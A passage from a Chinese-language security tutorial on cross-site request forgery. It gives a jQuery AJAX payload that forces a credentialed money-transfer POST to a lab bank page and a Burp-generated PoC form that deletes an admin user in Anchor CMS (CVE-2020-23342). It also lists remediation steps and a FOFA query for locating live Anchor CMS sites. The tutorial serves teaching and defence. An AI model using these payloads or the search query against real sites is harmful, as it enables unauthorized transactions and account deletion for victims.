5、或者更高级,直接将其更改成AJAX格式,但是这个适用于POST方式的CSRF
<script src="http://code.jquery.com/jquery-latest.js"></script>//引用jquery库 <script type="text/javascript"> $.ajax({ url: "http://192.168.23.75/bank/action.php", //让谁接收数据,就写成谁的IP type: "POST", //这里为POST,如果是GET就改成GET就行了。 crossDomain:true, //设置跨域为true。AJAX默认不允许跨域,这里就是开启了跨域,但是跨域请求又不带cookie xhrFields: { withCredentials: true //默认情况下,标准的跨域请求是不会发送cookie的,而不会发送cookie,这就无法完成CSRF攻击了。所以只有这个打开了才可以发送cookie。所以可以认为没有这个值的话,相当于cookie被删除了。 }, data: { username:"xxx", money:"10000", submit:"交易" //表单的属性和值 } //dataType: 'json' // tell jQuery not to process the data // tell jQuery not to set contentType }); </script> 0x07 漏洞修复建议1、首先要确保不能存在XSS漏洞,存在XSS漏洞的CSRF永远是防御不住的。
2、由于CSRF违背的是“不可预测性”原则,所以需要给其添加一个随机值,也就是token值。
3、添加referer验证,不同referer的数据包不予接受。
4、添加二次验证,但是注意是在必要的环节上添加,如果每个页面每个操作都添加二次验证,势必会影响用户的体验感。
5、不要轻信GET转POST就可以防御CSRF,这是假的。是因为以前的人没有意识到而已。
6、网站管理员需要提高自身的安全意识,不要随便点击不明链接等等。
0x08 漏洞POC+EXP分析来分析一波Bp生成的CSRF POC
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', 'http://www.likecs.com/')</script> <form action="http://192.168.91.144/index.php/admin/users/delete/9"> <input type="submit" value="Submit request" /> </form> </body> </html> <!--很简单,可以看出来就是一个简单的表单,诱使其点击,提交数据给网站后台的php文件,由于服务器没有对其进行二次校验或者添加随机数token,导致CSRF漏洞产生。--> 0x09 漏洞挖掘与实战 FOFA:"Anchor CMS" && body="themes/default/img/favicon.png" 0x10 Referencehttps://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Anchor CMS 0.12.7 跨站请求伪造(CVE-2020-23342).md
https://packetstormsecurity.com/files/161048/anchorcms0127-xsrf.txt